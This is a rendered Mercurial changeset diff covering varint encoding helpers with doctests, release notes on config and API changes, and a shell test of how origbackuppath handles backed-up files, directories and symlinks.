3250 def uvarintencode(value):
3250 """Encode an unsigned integer value to a varint.
3251 """Encode an unsigned integer value to a varint.
3251
3252
3252 A varint is a variable length integer of 1 or more bytes. Each byte
3253 A varint is a variable length integer of 1 or more bytes. Each byte
3253 except the last has the most significant bit set. The lower 7 bits of
3254 except the last has the most significant bit set. The lower 7 bits of
3254 each byte store the 2's complement representation, least significant group
3255 each byte store the 2's complement representation, least significant group
3255 first.
3256 first.
3256
3257
3257 >>> uvarintencode(0)
3258 >>> uvarintencode(0)
3258 '\\x00'
3259 '\\x00'
3259 >>> uvarintencode(1)
3260 >>> uvarintencode(1)
3260 '\\x01'
3261 '\\x01'
3261 >>> uvarintencode(127)
3262 >>> uvarintencode(127)
3262 '\\x7f'
3263 '\\x7f'
3263 >>> uvarintencode(1337)
3264 >>> uvarintencode(1337)
3264 '\\xb9\\n'
3265 '\\xb9\\n'
3265 >>> uvarintencode(65536)
3266 >>> uvarintencode(65536)
3266 '\\x80\\x80\\x04'
3267 '\\x80\\x80\\x04'
3267 >>> uvarintencode(-1)
3268 >>> uvarintencode(-1)
3268 Traceback (most recent call last):
3269 Traceback (most recent call last):
3269 ...
3270 ...
3270 ProgrammingError: negative value for uvarint: -1
3271 ProgrammingError: negative value for uvarint: -1
3271 """
3272 """
3272 if value < 0:
3273 if value < 0:
3273 raise error.ProgrammingError('negative value for uvarint: %d'
3274 raise error.ProgrammingError('negative value for uvarint: %d'
3274 % value)
3275 % value)
3275 bits = value & 0x7f
3276 bits = value & 0x7f
3276 value >>= 7
3277 value >>= 7
3277 bytes = []
3278 bytes = []
3278 while value:
3279 while value:
3279 bytes.append(pycompat.bytechr(0x80 | bits))
3280 bytes.append(pycompat.bytechr(0x80 | bits))
3280 bits = value & 0x7f
3281 bits = value & 0x7f
3281 value >>= 7
3282 value >>= 7
3282 bytes.append(pycompat.bytechr(bits))
3283 bytes.append(pycompat.bytechr(bits))
3283
3284
3284 return ''.join(bytes)
3285 return ''.join(bytes)
3285
3286
3286 def uvarintdecodestream(fh):
3287 def uvarintdecodestream(fh):
3287 """Decode an unsigned variable length integer from a stream.
3288 """Decode an unsigned variable length integer from a stream.
3288
3289
3289 The passed argument is anything that has a ``.read(N)`` method.
3290 The passed argument is anything that has a ``.read(N)`` method.
3290
3291
3291 >>> try:
3292 >>> try:
3292 ... from StringIO import StringIO as BytesIO
3293 ... from StringIO import StringIO as BytesIO
3293 ... except ImportError:
3294 ... except ImportError:
3294 ... from io import BytesIO
3295 ... from io import BytesIO
3295 >>> uvarintdecodestream(BytesIO(b'\\x00'))
3296 >>> uvarintdecodestream(BytesIO(b'\\x00'))
3296 0
3297 0
3297 >>> uvarintdecodestream(BytesIO(b'\\x01'))
3298 >>> uvarintdecodestream(BytesIO(b'\\x01'))
3298 1
3299 1
3299 >>> uvarintdecodestream(BytesIO(b'\\x7f'))
3300 >>> uvarintdecodestream(BytesIO(b'\\x7f'))
3300 127
3301 127
3301 >>> uvarintdecodestream(BytesIO(b'\\xb9\\n'))
3302 >>> uvarintdecodestream(BytesIO(b'\\xb9\\n'))
3302 1337
3303 1337
3303 >>> uvarintdecodestream(BytesIO(b'\\x80\\x80\\x04'))
3304 >>> uvarintdecodestream(BytesIO(b'\\x80\\x80\\x04'))
3304 65536
3305 65536
3305 >>> uvarintdecodestream(BytesIO(b'\\x80'))
3306 >>> uvarintdecodestream(BytesIO(b'\\x80'))
3306 Traceback (most recent call last):
3307 Traceback (most recent call last):
3307 ...
3308 ...
3308 Abort: stream ended unexpectedly (got 0 bytes, expected 1)
3309 Abort: stream ended unexpectedly (got 0 bytes, expected 1)
3309 """
3310 """
3310 result = 0
3311 result = 0
3311 shift = 0
3312 shift = 0
3312 while True:
3313 while True:
3313 byte = ord(readexactly(fh, 1))
3314 byte = ord(readexactly(fh, 1))
3314 result |= ((byte & 0x7f) << shift)
3315 result |= ((byte & 0x7f) << shift)
3315 if not (byte & 0x80):
3316 if not (byte & 0x80):
3316 return result
3317 return result
3317 shift += 7
3318 shift += 7
@@ -1,34 +1,37
1 == New Features ==
1 == New Features ==
2
2
3 * New config `commands.commit.post-status` shows status after successful
3 * New config `commands.commit.post-status` shows status after successful
4 commit.
4 commit.
5
5
6
6
7 == New Experimental Features ==
7 == New Experimental Features ==
8
8
9 * New config `experimental.log.topo` makes `hg log -G` use
9 * New config `experimental.log.topo` makes `hg log -G` use
10 topological sorting. This is especially useful for aliases since it
10 topological sorting. This is especially useful for aliases since it
11 lets the alias accept an `-r` option while still using topological
11 lets the alias accept an `-r` option while still using topological
12 sorting with or without the `-r` (unlike if you use the `sort(...,
12 sorting with or without the `-r` (unlike if you use the `sort(...,
13 topo)` revset).
13 topo)` revset).
14
14
15
15
16 == Bug Fixes ==
16 == Bug Fixes ==
17
17
18
18
19 == Backwards Compatibility Changes ==
19 == Backwards Compatibility Changes ==
20
20
21 * Removed (experimental) support for log graph lines mixing
21 * Removed (experimental) support for log graph lines mixing
22 parent/grandparent styles. Setting
22 parent/grandparent styles. Setting
23 e.g. `experimental.graphstyle.parent = !` and
23 e.g. `experimental.graphstyle.parent = !` and
24 `experimental.graphstyle.grandparent = 3.` would use `!` for the
24 `experimental.graphstyle.grandparent = 3.` would use `!` for the
25 first three lines of the graph and then `.`. This is no longer
25 first three lines of the graph and then `.`. This is no longer
26 supported.
26 supported.
27
27
28
28
29 == Internal API Changes ==
29 == Internal API Changes ==
30
30
31 * Matchers are no longer iterable. Use `match.files()` instead.
31 * Matchers are no longer iterable. Use `match.files()` instead.
32
32
33 * `match.visitdir()` and `match.visitchildrenset()` now expect the
33 * `match.visitdir()` and `match.visitchildrenset()` now expect the
34 empty string instead of '.' to indicate the root directory.
34 empty string instead of '.' to indicate the root directory.
35
36 * `util.dirs()` and `util.finddirs()` now include an entry for the
37 root directory (empty string).
@@ -1,136 +1,137
1 Set up repo
1 Set up repo
2
2
3 $ cat << EOF >> $HGRCPATH
3 $ cat << EOF >> $HGRCPATH
4 > [ui]
4 > [ui]
5 > origbackuppath=.hg/origbackups
5 > origbackuppath=.hg/origbackups
6 > [merge]
6 > [merge]
7 > checkunknown=warn
7 > checkunknown=warn
8 > EOF
8 > EOF
9 $ hg init repo
9 $ hg init repo
10 $ cd repo
10 $ cd repo
11 $ echo base > base
11 $ echo base > base
12 $ hg add base
12 $ hg add base
13 $ hg commit -m "base"
13 $ hg commit -m "base"
14
14
15 Make a dir named b that contains a file, and a file named d
15 Make a dir named b that contains a file, and a file named d
16
16
17 $ mkdir -p b
17 $ mkdir -p b
18 $ echo c1 > b/c
18 $ echo c1 > b/c
19 $ echo d1 > d
19 $ echo d1 > d
20 $ hg add b/c d
20 $ hg add b/c d
21 $ hg commit -m "c1"
21 $ hg commit -m "c1"
22 $ hg bookmark c1
22 $ hg bookmark c1
23
23
24 Peform an update that causes b/c to be backed up
24 Peform an update that causes b/c to be backed up
25
25
26 $ hg up -q 0
26 $ hg up -q 0
27 $ mkdir -p b
27 $ mkdir -p b
28 $ echo c2 > b/c
28 $ echo c2 > b/c
29 $ hg up --verbose c1
29 $ hg up --verbose c1
30 resolving manifests
30 resolving manifests
31 b/c: replacing untracked file
31 b/c: replacing untracked file
32 getting b/c
32 getting b/c
33 creating directory: $TESTTMP/repo/.hg/origbackups/b
33 creating directory: $TESTTMP/repo/.hg/origbackups/b
34 getting d
34 getting d
35 2 files updated, 0 files merged, 0 files removed, 0 files unresolved
35 2 files updated, 0 files merged, 0 files removed, 0 files unresolved
36 (activating bookmark c1)
36 (activating bookmark c1)
37 $ test -f .hg/origbackups/b/c
37 $ test -f .hg/origbackups/b/c
38
38
39 Make files named b and d
39 Make files named b and d
40
40
41 $ hg up -q 0
41 $ hg up -q 0
42 $ echo b1 > b
42 $ echo b1 > b
43 $ echo d2 > d
43 $ echo d2 > d
44 $ hg add b d
44 $ hg add b d
45 $ hg commit -m b1
45 $ hg commit -m b1
46 created new head
46 created new head
47 $ hg bookmark b1
47 $ hg bookmark b1
48
48
49 Perform an update that causes b to be backed up - it should replace the backup b dir
49 Perform an update that causes b to be backed up - it should replace the backup b dir
50
50
51 $ hg up -q 0
51 $ hg up -q 0
52 $ echo b2 > b
52 $ echo b2 > b
53 $ hg up --verbose b1
53 $ hg up --verbose b1
54 resolving manifests
54 resolving manifests
55 b: replacing untracked file
55 b: replacing untracked file
56 getting b
56 getting b
57 removing conflicting directory: $TESTTMP/repo/.hg/origbackups/b
57 removing conflicting directory: $TESTTMP/repo/.hg/origbackups/b
58 getting d
58 getting d
59 2 files updated, 0 files merged, 0 files removed, 0 files unresolved
59 2 files updated, 0 files merged, 0 files removed, 0 files unresolved
60 (activating bookmark b1)
60 (activating bookmark b1)
61 $ test -f .hg/origbackups/b
61 $ test -f .hg/origbackups/b
62
62
63 Perform an update the causes b/c to be backed up again - it should replace the backup b file
63 Perform an update the causes b/c to be backed up again - it should replace the backup b file
64
64
65 $ hg up -q 0
65 $ hg up -q 0
66 $ mkdir b
66 $ mkdir b
67 $ echo c3 > b/c
67 $ echo c3 > b/c
68 $ hg up --verbose c1
68 $ hg up --verbose c1
69 resolving manifests
69 resolving manifests
70 b/c: replacing untracked file
70 b/c: replacing untracked file
71 getting b/c
71 getting b/c
72 creating directory: $TESTTMP/repo/.hg/origbackups/b
72 creating directory: $TESTTMP/repo/.hg/origbackups/b
73 removing conflicting file: $TESTTMP/repo/.hg/origbackups/b
73 removing conflicting file: $TESTTMP/repo/.hg/origbackups/b
74 getting d
74 getting d
75 2 files updated, 0 files merged, 0 files removed, 0 files unresolved
75 2 files updated, 0 files merged, 0 files removed, 0 files unresolved
76 (activating bookmark c1)
76 (activating bookmark c1)
77 $ test -d .hg/origbackups/b
77 $ test -d .hg/origbackups/b
78
78
79 Cause two symlinks to be backed up that points to a valid location from the backup dir
79 Cause two symlinks to be backed up that points to a valid location from the backup dir
80
80
81 $ hg up -q 0
81 $ hg up -q 0
82 $ mkdir ../sym-link-target
82 $ mkdir ../sym-link-target
83 #if symlink
83 #if symlink
84 $ ln -s ../../../sym-link-target b
84 $ ln -s ../../../sym-link-target b
85 $ ln -s ../../../sym-link-target d
85 $ ln -s ../../../sym-link-target d
86 #else
86 #else
87 $ touch b d
87 $ touch b d
88 #endif
88 #endif
89 $ hg up b1
89 $ hg up b1
90 b: replacing untracked file
90 b: replacing untracked file
91 d: replacing untracked file
91 d: replacing untracked file
92 2 files updated, 0 files merged, 0 files removed, 0 files unresolved
92 2 files updated, 0 files merged, 0 files removed, 0 files unresolved
93 (activating bookmark b1)
93 (activating bookmark b1)
94 #if symlink
94 #if symlink
95 $ readlink.py .hg/origbackups/b
95 $ readlink.py .hg/origbackups/b
96 .hg/origbackups/b -> ../../../sym-link-target
96 .hg/origbackups/b -> ../../../sym-link-target
97 #endif
97 #endif
98
98
99 Perform an update that causes b/c and d to be backed up again - b/c should not go into the target dir
99 Perform an update that causes b/c and d to be backed up again - b/c should not go into the target dir
100
100
101 $ hg up -q 0
101 $ hg up -q 0
102 $ mkdir b
102 $ mkdir b
103 $ echo c4 > b/c
103 $ echo c4 > b/c
104 $ echo d3 > d
104 $ echo d3 > d
105 $ hg up --verbose c1
105 $ hg up --verbose c1
106 resolving manifests
106 resolving manifests
107 b/c: replacing untracked file
107 b/c: replacing untracked file
108 d: replacing untracked file
108 d: replacing untracked file
109 getting b/c
109 getting b/c
110 creating directory: $TESTTMP/repo/.hg/origbackups/b
110 creating directory: $TESTTMP/repo/.hg/origbackups/b
111 removing conflicting file: $TESTTMP/repo/.hg/origbackups/b
111 removing conflicting file: $TESTTMP/repo/.hg/origbackups/b
112 getting d
112 getting d
113 2 files updated, 0 files merged, 0 files removed, 0 files unresolved
113 2 files updated, 0 files merged, 0 files removed, 0 files unresolved
114 (activating bookmark c1)
114 (activating bookmark c1)
115 $ cat .hg/origbackups/b/c
115 $ cat .hg/origbackups/b/c
116 c4
116 c4
117 $ cat .hg/origbackups/d
117 $ cat .hg/origbackups/d
118 d3
118 d3
119 $ ls ../sym-link-target
119 $ ls ../sym-link-target
120
120
121 Incorrectly configure origbackuppath to be under a file
121 Incorrectly configure origbackuppath to be under a file
122
122
123 $ echo data > .hg/badorigbackups
123 $ echo data > .hg/badorigbackups
124 $ hg up -q 0
124 $ hg up -q 0
125 $ mkdir b
125 $ mkdir b
126 $ echo c5 > b/c
126 $ echo c5 > b/c
127 $ hg up --verbose c1 --config ui.origbackuppath=.hg/badorigbackups
127 $ hg up --verbose c1 --config ui.origbackuppath=.hg/badorigbackups
128 resolving manifests
128 resolving manifests
129 b/c: replacing untracked file
129 b/c: replacing untracked file
130 getting b/c
130 getting b/c
131 creating directory: $TESTTMP/repo/.hg/badorigbackups/b
131 creating directory: $TESTTMP/repo/.hg/badorigbackups/b
132 abort: $ENOTDIR$: *$TESTTMP/repo/.hg/badorigbackups/b* (glob)
132 removing conflicting file: $TESTTMP/repo/.hg/badorigbackups
133 [255]
133 getting d
134 $ cat .hg/badorigbackups
134 2 files updated, 0 files merged, 0 files removed, 0 files unresolved
135 data
135 (activating bookmark c1)
136
136 $ ls .hg/badorigbackups/b
137 c
General Comments 0
You need to be logged in to leave comments. Login now